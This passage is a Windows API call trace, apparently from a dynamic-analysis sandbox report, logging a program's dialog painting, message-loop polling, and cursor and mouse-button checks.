(hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.002] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.002] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.002] SetBkColor (hdc=0xffffffff92010679, color=0xf0f0f0) returned 0xffffff [0036.002] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.002] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff92010679, lParam=0x4) returned 0x0 [0036.002] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.002] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.002] GetWindowLongPtrW (hWnd=0x3011c, nIndex=-21) returned 0x6 [0036.002] GetWindowLongPtrW (hWnd=0x3011c, nIndex=-21) returned 0x6 [0036.002] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.002] GetWindowLongW (hWnd=0x3011c, nIndex=-16) returned 1342242944 [0036.002] GetSysColor (nIndex=5) returned 0xffffff [0036.002] GetSysColor (nIndex=8) returned 0x0 [0036.002] SetTextColor (hdc=0xffffffff93010679, color=0x0) returned 0x0 [0036.002] SetBkColor (hdc=0xffffffff93010679, color=0xffffff) returned 0xffffff [0036.005] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.005] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff94010679, lParam=0x0) returned 0x1 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.005] SetBkColor (hdc=0xffffffff94010679, color=0xf0f0f0) returned 0xffffff [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff94010679, lParam=0x4) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.005] SetBkColor (hdc=0xffffffff94010679, color=0xf0f0f0) returned 0xf0f0f0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x90020, nIndex=-21) returned 0x7 [0036.005] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x7, lParam=0x26a4a5ec60) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.005] GetWindowLongPtrW (hWnd=0x90020, nIndex=-21) returned 0x7 [0036.005] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x7, lParam=0x26a4a5ec60) returned 0x0 [0036.006] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.006] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.006] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.006] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.006] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.006] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.006] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.006] GetWindowLongW (hWnd=0xa001e, nIndex=-16) returned 1342179332 [0036.006] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.006] GetSysColor (nIndex=8) returned 0x0 [0036.006] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0036.006] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0036.006] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.006] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff800106f8, lParam=0x0) returned 0x1 [0036.006] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.006] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.006] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.006] SetBkColor (hdc=0xffffffff800106f8, color=0xf0f0f0) returned 0xffffff [0036.006] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.006] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff800106f8, lParam=0x4) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.007] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.007] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.007] GetWindowLongW (hWnd=0xa001e, nIndex=-16) returned 1342179332 [0036.007] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.007] GetSysColor (nIndex=8) returned 0x0 [0036.007] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0036.007] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0036.007] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.007] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.007] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.007] GetWindowLongW (hWnd=0xa001e, nIndex=-16) returned 1342179332 [0036.007] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.007] GetSysColor (nIndex=8) returned 0x0 [0036.007] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0036.007] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0036.007] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.007] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.007] GetWindowLongPtrW (hWnd=0xa001e, nIndex=-21) returned 0x8 [0036.007] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.007] GetWindowLongW (hWnd=0xa001e, nIndex=-16) returned 1342179332 [0036.007] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.007] GetSysColor (nIndex=8) returned 0x0 [0036.007] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0036.007] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0036.008] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.008] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.008] CreateAcceleratorTableW (paccel=0x26a4b5a300, cAccel=1) returned 0x600a1 [0036.008] GetForegroundWindow () returned 0x7004e [0036.008] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.009] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.009] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.009] Sleep (dwMilliseconds=0x0) [0036.009] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.009] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] Sleep (dwMilliseconds=0x0) [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] Sleep (dwMilliseconds=0x0) [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.010] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.011] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.011] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.011] Sleep (dwMilliseconds=0x0) [0036.013] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.013] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.013] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.013] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.013] Sleep (dwMilliseconds=0x0) [0036.021] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.021] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.021] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.021] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0036.021] GetForegroundWindow () returned 0x7004e [0036.021] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.021] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=784, y=510)) returned 1 [0036.021] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.021] GetAsyncKeyState (vKey=1) returned 0 [0036.021] GetAsyncKeyState (vKey=2) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] Sleep (dwMilliseconds=0x0) [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.022] Sleep (dwMilliseconds=0x0) [0036.022] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] Sleep (dwMilliseconds=0x0) [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] Sleep (dwMilliseconds=0x0) [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.023] Sleep (dwMilliseconds=0x0) [0036.023] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] Sleep (dwMilliseconds=0x0) [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.024] Sleep (dwMilliseconds=0x0) [0036.024] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] Sleep (dwMilliseconds=0x0) [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.025] Sleep (dwMilliseconds=0x0) [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] Sleep (dwMilliseconds=0x0) [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] Sleep (dwMilliseconds=0x0) [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.026] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] Sleep (dwMilliseconds=0x0) [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] Sleep (dwMilliseconds=0x0) [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.027] Sleep (dwMilliseconds=0x0) [0036.027] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] Sleep (dwMilliseconds=0x0) [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] Sleep (dwMilliseconds=0x0) [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.028] Sleep (dwMilliseconds=0x0) [0036.028] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.029] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 